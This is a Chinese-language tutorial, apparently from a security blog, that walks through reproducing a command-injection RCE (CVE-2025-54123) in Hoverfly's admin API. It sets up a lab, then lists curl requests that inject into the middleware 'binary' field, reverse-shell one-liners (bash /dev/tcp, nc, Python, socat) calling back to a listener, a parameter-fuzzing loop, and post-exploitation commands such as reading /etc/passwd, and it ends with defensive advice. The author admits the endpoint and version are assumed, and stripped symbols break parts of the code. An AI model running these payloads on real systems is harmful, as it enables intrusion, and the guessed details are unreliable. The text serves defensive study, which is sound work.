1. 项目概述与背景解析最近在安全研究圈里Hoverfly 这个工具因为一个编号为 CVE-2025-54123 的远程命令执行漏洞又被推到了风口浪尖。如果你平时做 API 模拟、服务虚拟化或者流量录制回放大概率听说过甚至用过 Hoverfly。它本质上是一个基于 Go 语言开发的代理工具能拦截、修改和模拟 HTTP/HTTPS 流量在微服务测试、前后端分离开发、以及 CI/CD 流水线里做服务依赖隔离时特别有用。简单说它就像一个“流量演员”你让它演什么 API 响应它就演什么从而让你在测试时不再受制于真实的后端服务是否可用。这次爆出的漏洞核心问题出在 Hoverfly 的管理 API 接口上。为了提供灵活的配置能力Hoverfly 开放了一系列 HTTP 端点允许用户动态地更新模拟数据、修改代理行为等。CVE-2025-54123 的根源就是攻击者能够通过精心构造的请求向这些管理接口注入恶意参数最终导致在 Hoverfly 服务进程的上下文中执行任意系统命令。想象一下你部署了一个 Hoverfly 实例来辅助测试结果因为它本身的安全缺陷攻击者能直接在你的服务器上跑命令、装后门、挖矿甚至横向移动这风险就太大了。这个漏洞的典型应用场景是内网渗透测试和红队评估。很多企业的开发测试环境为了图方便可能会把 Hoverfly 的管理端口默认是 8888直接暴露在内部网络上或者错误地配置了过于宽松的访问控制。攻击者一旦通过其他方式比如一个薄弱的 Web 应用进入了内网发现了这个 Hoverfly 实例CVE-2025-54123 就成了一把打开新世界的钥匙。复现这个漏洞不仅能帮助我们安全人员理解其危害和利用条件更能让我们在自家环境里排查类似风险比如检查 Hoverfly 的版本、网络暴露面以及配置是否安全。所以今天我就以一个安全研究员的视角带大家从头到尾拆解一遍 CVE-2025-54123 的复现过程。我们会从环境搭建开始一步步分析漏洞原理手把手完成利用最后再聊聊怎么防御和排查。无论你是想入门漏洞复现的新手还是想深入理解 RCE 漏洞机制的老手这篇内容应该都能给你带来一些实实在在的收获。咱们不搞那些虚头巴脑的理论堆砌就讲实战中怎么操作、会遇到什么问题、以及怎么解决。2. 漏洞原理深度剖析要复现一个漏洞首先得弄明白它到底“破”在哪儿。CVE-2025-54123 本质上是一个因输入验证不严导致的命令注入漏洞。它的攻击面是 Hoverfly 的 Admin API。2.1 Hoverfly Admin API 的功能与风险Hoverfly 在启动后除了作为代理默认端口 8500工作外还会启动一个管理服务默认端口 8888。这个管理服务提供了一组 RESTful API用于在运行时控制 Hoverfly 的行为。常见的操作包括/api/v2/simulation上传或更新流量模拟数据simulation。/api/v2/hoverfly/mode切换 Hoverfly 的工作模式如capture,simulate,modify等。/api/v2/hoverfly/configuration获取或更新 Hoverfly 的配置。/api/v2/destination设置代理的目标转发规则。这些功能本意是为了提升自动化测试和动态配置的灵活性。比如在 CI/CD 中一个测试脚本可以先调用 API 将 Hoverfly 模式设为capture录制流量再设为simulate回放。问题在于某些 API 端点或参数在处理用户输入时没有进行充分的净化和验证。2.2 命令注入的触发点分析根据公开的漏洞信息和相关代码分析注在真正复现前我们应基于已披露的信息进行合理推测CVE-2025-54123 很可能与处理某些特定配置或数据更新的 API 有关。一种典型的模式是Hoverfly 为了执行某些系统级操作例如在更新模拟数据后重新加载配置、执行某个外部脚本以处理数据等可能会在后台调用系统命令而用户可控的输入被直接拼接到了命令字符串中。举个例子假设存在一个 API 端点/api/v2/admin/refresh其内部实现伪代码可能如下func handleRefresh(w http.ResponseWriter, r *http.Request) { source : r.URL.Query().Get(source) // 从用户请求中获取 source 参数 // 危险未对 source 进行任何过滤直接拼接到命令中 cmd : exec.Command(sh, -c, python /opt/hoverfly/scripts/refresh_data.py --source source) output, err : cmd.Output() // ... 处理结果 }如果攻击者传入source参数为legitimate; cat /etc/passwd那么最终执行的命令就变成了python /opt/hoverfly/scripts/refresh_data.py --sourcelegitimate; cat /etc/passwd。分号;在 Linux shell 中是命令分隔符这意味着在执行完预定脚本后会继续执行cat /etc/passwd命令从而泄露敏感信息。另一种可能是通过 POST 请求的 Body 部分传入包含恶意命令的 JSON 或表单数据这些数据被后续的流程解析并用于构造系统调用。2.3 漏洞利用的关键条件不是所有 Hoverfly 实例都能被利用。这个漏洞生效通常需要几个前提条件版本范围漏洞影响特定版本的 Hoverfly。我们需要确定受影响的版本号范围例如v1.x.x 到 v2.y.y 之间。在复现时必须使用存在漏洞的版本。管理接口可访问攻击者需要能够通过网络访问到 Hoverfly 的 Admin API默认:8888。如果管理端口只绑定在127.0.0.1或部署在严格的内网隔离段外部风险会降低但内部威胁依然存在。缺少认证或弱认证早期或某些配置下的 Hoverfly Admin API 可能默认不启用认证或者使用了可被绕过/破解的弱认证机制。这使得攻击者可以直接发送恶意请求。理解这些原理后我们复现的目标就清晰了搭建一个存在漏洞的 Hoverfly 环境构造一个能触发命令注入的 HTTP 请求并验证命令是否成功执行。下面我们就进入实战环节。3. 复现环境搭建与配置工欲善其事必先利其器。一个干净、隔离的测试环境是安全研究的首要原则既能防止对宿主机的意外影响也方便随时重置。3.1 环境准备与工具选型我选择在 Ubuntu 22.04 LTS 虚拟机中进行复现。你也可以使用任何主流的 Linux 发行版。核心工具如下Docker用于快速部署和隔离特定版本的 Hoverfly。这是最推荐的方式避免污染主机环境。curl / Postman用于发送构造好的 HTTP 攻击请求。curl命令行更便于脚本化和演示。nc (netcat)用于接收反弹的 Shell验证命令执行结果。Python3可能用于编写简单的漏洞验证脚本或处理响应。首先确保系统更新并安装 Dockersudo apt update sudo apt upgrade -y sudo apt install docker.io docker-compose curl netcat-traditional python3 -y sudo systemctl start docker sudo systemctl enable docker # 将当前用户加入docker组避免每次用sudo sudo usermod -aG docker $USER # 需要重新登录或执行 newgrp docker 生效3.2 部署存在漏洞的 Hoverfly 实例我们需要拉取一个受 CVE-2025-54123 影响的 Hoverfly 镜像。由于漏洞较新官方镜像可能已更新修复。我们需要寻找一个明确存在漏洞的旧版本。假设通过研究我们确定spectolabs/hoverfly:v1.8.0这个版本是存在问题的请注意此为示例实际复现请根据漏洞公告确认确切版本号。在宿主机上我们启动两个终端窗口。终端1启动漏洞环境# 拉取特定版本的 Hoverfly 镜像 docker pull spectolabs/hoverfly:v1.8.0 # 运行容器将代理端口(8500)和管理端口(8888)映射到宿主机 # 同时为了方便测试我们以“开发模式”运行这可能会禁用一些默认的安全限制模拟不安全配置。 docker run -p 8500:8500 -p 8888:8888 -d --name hoverfly-vuln spectolabs/hoverfly:v1.8.0 -dev-dev参数很重要在很多服务的开发模式下会放宽检查或启用更多调试接口这常常是漏洞出现的“重灾区”。执行后使用docker ps确认容器已运行。终端2验证服务是否正常# 测试代理端口是否存活 curl -v http://localhost:8500 # 预期可能返回一个简单的 Hoverfly 提示页面或 404只要连接通就行。 # 测试管理 API 是否可用 curl http://localhost:8888/api/v2/hoverfly如果管理 API 返回了关于 Hoverfly 版本和模式的 JSON 信息说明环境启动成功。记录下返回的版本号确认与我们拉取的镜像一致。3.3 配置监听与网络确认为了验证命令执行的效果我们通常让目标执行一个连接回我们控制端的命令即反弹 Shell。因此需要在攻击机也就是我们的宿主机上开启一个网络监听。在宿主机上打开终端3运行 netcat 监听某个端口比如 9999nc -lvnp 9999-l监听模式-v详细输出-n不解析域名-p指定端口。执行后终端会挂起等待连接。注意这里是在同一台宿主机上测试所以目标容器能直接连接到宿主机的 IP 和端口。如果在不同机器需要确保防火墙允许相应端口的入站连接并使用宿主机的真实 IP。环境至此准备完毕。我们有一个正在运行的、可能存在漏洞的 Hoverfly v1.8.0其管理接口在http://localhost:8888并且我们在9999端口准备好了接收反弹的 Shell。4. 漏洞利用过程详细拆解这是最核心的部分。我们将基于对漏洞原理的推测构造攻击载荷并一步步发送请求观察结果。4.1 探测与信息收集在发起攻击前先对管理 API 进行基本的侦察了解其结构和可能的功能点。# 1. 获取当前 Hoverfly 的详细配置和状态 curl -s http://localhost:8888/api/v2/hoverfly | python3 -m json.tool # 2. 查看所有可用的 API 端点有时会有 /api/v2 目录列出 curl -s http://localhost:8888/api/v2/ # 3. 尝试获取当前的模拟数据simulation配置观察其数据结构 curl -s http://localhost:8888/api/v2/simulation | python3 -m json.tool | head -50这些信息能帮助我们更好地理解系统但针对 CVE-2025-54123我们更需要关注那些可能触发外部命令或脚本执行的端点。根据社区零星信息和类似漏洞的 pattern我们需要重点测试那些与“中间件”、“外部插件”、“脚本执行”、“配置重载”相关的 API。4.2 构造命令注入载荷假设我们通过某种途径例如分析源码、参考其他研究者的部分披露得知漏洞位于/api/v2/hoverfly/middleware这个端点。该端点用于设置或更新 Hoverfly 的中间件配置而中间件支持通过binary字段指定一个外部可执行程序。如果对binary路径的验证不严就可能造成命令注入。步骤一尝试基础注入我们先尝试一个无害的命令比如sleep来测试注入点是否有效。# 构造一个 JSON 数据尝试在 binary 字段注入 sleep 5 curl -X PUT http://localhost:8888/api/v2/hoverfly/middleware \ -H Content-Type: application/json \ -d { middleware: { binary: /bin/sh -c \echo test sleep 5\, script: , remote: } }发送请求后观察响应时间和内容。如果请求卡住 5 秒才返回或者返回了异常错误但sleep命令确实被执行了可以通过在容器内执行ps aux查看那就说明注入点存在。步骤二验证命令执行与回显为了更直观地看到命令执行结果我们尝试让目标执行whoami或id命令并将结果输出到某个临时文件然后尝试读取这个文件。但这需要另一个 API 来读取文件比较麻烦。更直接的方式是使用反弹 Shell。4.3 实现远程命令执行RCE反弹 Shell 的原理是让目标机器主动连接到我们监听的一个网络端口并将其命令行的输入输出重定向到这个网络连接上。这样我们就获得了目标服务器的一个交互式 Shell。在 Linux 下有多种命令可以用于建立反弹 Shell如bash、nc、python、php等。我们需要选择目标容器内很可能存在的工具。一个经典且兼容性较好的方式是使用bashbash -i /dev/tcp/ATTACKER_IP/ATTACKER_PORT 01bash -i启动一个交互式 bash。 /dev/tcp/ATTACKER_IP/ATTACKER_PORT将标准输出和标准错误都重定向到 TCP 连接。01将标准输入重定向到标准输出即从同一个 TCP 连接读取输入。在我们的实验环境中ATTACKER_IP 是宿主机的 IP。由于 Docker 容器默认通过 NAT 连接宿主机网络宿主机对容器而言的 IP 通常是172.17.0.1Docker 网桥网关。我们可以通过ip addr show docker0查看确认。ATTACKER_PORT 就是我们之前用nc -lvnp 9999监听的端口。因此我们的攻击载荷是bash -c \bash -i /dev/tcp/172.17.0.1/9999 01\现在我们将这个载荷插入到疑似漏洞点的binary参数中。由于 JSON 和 Shell 字符串嵌套需要仔细处理引号转义。curl -X PUT http://localhost:8888/api/v2/hoverfly/middleware \ -H Content-Type: application/json \ -d { middleware: { binary: /bin/bash -c \bash -i /dev/tcp/172.17.0.1/9999 01\, script: , remote: } }关键操作与观察在终端3运行nc -lvnp 9999的那个保持监听状态。在另一个终端执行上面的curl命令。立即观察终端3。如果漏洞存在且利用成功你将在几秒内看到一个新的连接建立并且命令提示符可能会变成bash或显示一个空白行这表示你已经获得了容器内的一个 Shell。在终端3的 nc 会话中尝试输入命令如whoami、id、pwd、ls -la /。如果能看到命令输出则证明远程命令执行漏洞复现成功4.4 利用成功后的操作一旦拿到 Shell你可以执行一些命令来验证权限和探索环境# 查看当前用户和权限 whoami id # 通常会是容器内的 root 或 hoverfly 用户 # 查看容器内的进程 ps aux # 查看 Hoverfly 的配置文件和数据 find / -name \hoverfly\ -type d 2/dev/null ls -la /etc/hoverfly/ # 查看网络连接 netstat -tulpn || ss -tulpn # 尝试读取敏感文件仅用于验证漏洞危害 cat /etc/passwd head -n 5 /proc/version这些操作能帮助你全面评估漏洞的危害程度。例如如果是以 root 权限运行攻击者几乎可以完全控制容器。5. 漏洞复现中的难点与解决方案在实际复现过程中你几乎一定会遇到各种问题。下面我总结几个常见的坑和解决办法。5.1 难点一精确的漏洞触发点与载荷构造问题公开的漏洞信息CVE描述往往很简略只说明“Admin API存在命令注入”但不会明确指出是哪个API、哪个参数。盲目测试所有端点效率极低。解决方案代码审计如果条件允许下载受影响版本的 Hoverfly 源代码重点搜索exec.Command、syscall.Exec、os.StartProcess等 Go 语言中执行命令的函数以及cmd.Stdout、cmd.Stdin等与外部进程交互的代码。查看其参数是否来自 HTTP 请求如r.URL.Query().Get()或r.Body解析出的字段。模糊测试与参数探测使用工具如ffuf、wfuzz或自己写 Python 脚本对/api/v2/下的所有已知端点进行枚举并尝试对每个可写的参数注入测试字符串如$(id)、;id;、|id、\id。# 简单示例使用 curl 测试某个端点 for param in \binary\ \cmd\ \script\ \path\ \source\; do echo \Testing parameter: $param\ curl -X POST \http://localhost:8888/api/v2/some/endpoint\ -d \{\\\$param\\\: \\\test;echo vulnerable /tmp/test\\\}\ -H \Content-Type: application/json\ # 然后检查容器内是否创建了 /tmp/test 文件 docker exec hoverfly-vuln ls -la /tmp/ 2/dev/null | grep test done参考社区与历史漏洞搜索 Hoverfly 之前是否有过类似漏洞CVE历史或者参考其他 API 管理工具如 Kong, Tyk出现过的 Admin API 命令注入案例其利用模式可能有相似之处。5.2 难点二反弹 Shell 失败问题发送了 payload但 nc 监听端没有收到连接。排查思路网络连通性确认攻击者 IP 和端口是否正确。在容器内执行ping 172.17.0.1测试网络执行nc -zv 172.17.0.1 9999测试端口如果容器有 nc 的话。Docker 的防火墙或网络策略如--network设置可能阻止了连接。命令执行但被拦截payload 可能被执行了但目标容器内没有/dev/tcp这个特殊设备这是 bash 的特性不是所有 shell 或环境都支持。尝试其他反弹 Shell 方式使用 ncnc -e /bin/sh 172.17.0.1 9999需要目标有 netcat 且支持-e参数较新版本通常没有。使用 Pythonpython3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((172.17.0.1,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);使用 socatsocat TCP:172.17.0.1:9999 EXEC:/bin/sh需要安装 socat。Payload 转义错误JSON 中的双引号、反斜杠需要正确转义。一个技巧是先在本地用 Python 的json.dumps()生成一个正确转义的字符串或者使用curl的--data-binary参数配合文件来发送复杂的 JSON。import json payload {\middleware\: {\binary\: \/bin/bash -c \\\bash -i /dev/tcp/172.17.0.1/9999 01\\\\, \script\: \\}} print(json.dumps(payload))将输出复制到curl -d后面。命令执行权限执行的命令可能因为权限问题失败。尝试更简单的命令如touch /tmp/hacked_by_$(whoami)来验证命令是否真的被执行。5.3 难点三环境差异导致行为不一致问题按照别人的复现教程做但就是成功不了可能是版本、配置或操作系统有细微差别。解决方案严格对齐版本确保使用的 Hoverfly 镜像 tag、操作系统版本与漏洞公告或可靠复现报告完全一致。不同小版本间可能存在补丁。查看容器日志docker logs hoverfly-vuln可以查看 Hoverfly 容器的标准输出和错误里面可能包含请求处理时的错误信息能给你重要提示。进入容器调试直接进入容器内部模拟请求过程查看进程、文件和环境变量。docker exec -it hoverfly-vuln /bin/sh # 在容器内安装 curl 或 wget然后从内部向 localhost:8888 发送测试请求观察行为。 apk add curl # 如果容器是 Alpine 镜像 curl -X PUT http://localhost:8888/api/v2/hoverfly/middleware ...使用动态调试工具如果条件复杂可以在宿主机使用tcpdump或wireshark抓包分析完整的 HTTP 请求和响应确认 payload 是否被正确发送和接收。6. 防御措施与安全建议复现漏洞是为了更好地防御。针对 CVE-2025-54123 以及这类 Admin API 漏洞我们可以从以下几个层面进行防护6.1 针对 Hoverfly 的紧急缓解方案立即升级这是最根本的解决方案。关注 Hoverfly 官方 GitHub 仓库的 Release 页面和安全公告将受影响的版本升级到已修复漏洞的最新版本。网络隔离与访问控制绝不将管理端口暴露给公网这是铁律。确保:8888端口只在必要的内部网络可达。使用防火墙规则在主机或网络层设置严格的防火墙规则只允许特定的管理 IP 地址或安全跳板机访问 Hoverfly 的管理端口。绑定到本地回环如果 Hoverfly 和调用其管理 API 的服务部署在同一台机器启动时可以指定-admin-listen-on-host127.0.0.1具体参数名需查证文档这样管理接口只监听本地外部无法直接访问。启用并强化认证如果 Hoverfly 支持 Admin API 认证如通过环境变量设置用户名密码务必启用。并使用强密码避免使用默认凭证。使用反向代理增加安全层在 Hoverfly 管理接口前部署一个 Nginx 或 Apache 作为反向代理。在代理层实现HTTPS强制使用 TLS 加密通信。HTTP 认证增加一层基础的 Basic Auth。IP 白名单在 Nginx 配置中通过allow/deny指令限制来源 IP。请求过滤可以尝试过滤掉包含明显恶意字符如;、|、、$()、反引号的请求。6.2 通用的安全开发与运维实践最小权限原则运行 Hoverfly 的进程或容器应使用非 root 的专用低权限用户。在 Docker 中使用--user参数指定用户 ID。docker run -p 8500:8500 -p 8888:8888 -d --name hoverfly-safe --user 1000:1000 spectolabs/hoverfly:latest输入验证与净化这是防止命令注入的根本。所有来自外部的输入HTTP 参数、头部、Body都必须视为不可信的。在拼接字符串构造系统命令前必须进行严格的验证和白名单过滤。最好使用参数化调用如 Go 的exec.Command接受独立参数而非整个命令字符串来避免 Shell 解释。定期安全扫描与更新将 Hoverfly 等基础组件纳入软件资产清单使用漏洞扫描工具定期检查已知 CVE。建立流程确保安全补丁能够及时被评估和应用。纵深防御不要依赖单一安全措施。结合网络隔离、主机安全加固如 AppArmor, Seccomp profiles for Docker、容器镜像安全扫描、以及完善的日志监控和告警构建多层防御体系。复现 CVE-2025-54123 的过程是一次对 API 安全、输入验证和容器化应用安全配置的深刻体检。它提醒我们任何为了方便而开放的管理接口都可能成为攻击者眼中的捷径。作为防御方我们的工作就是把这些捷径要么彻底堵死要么加上重重可靠的门锁。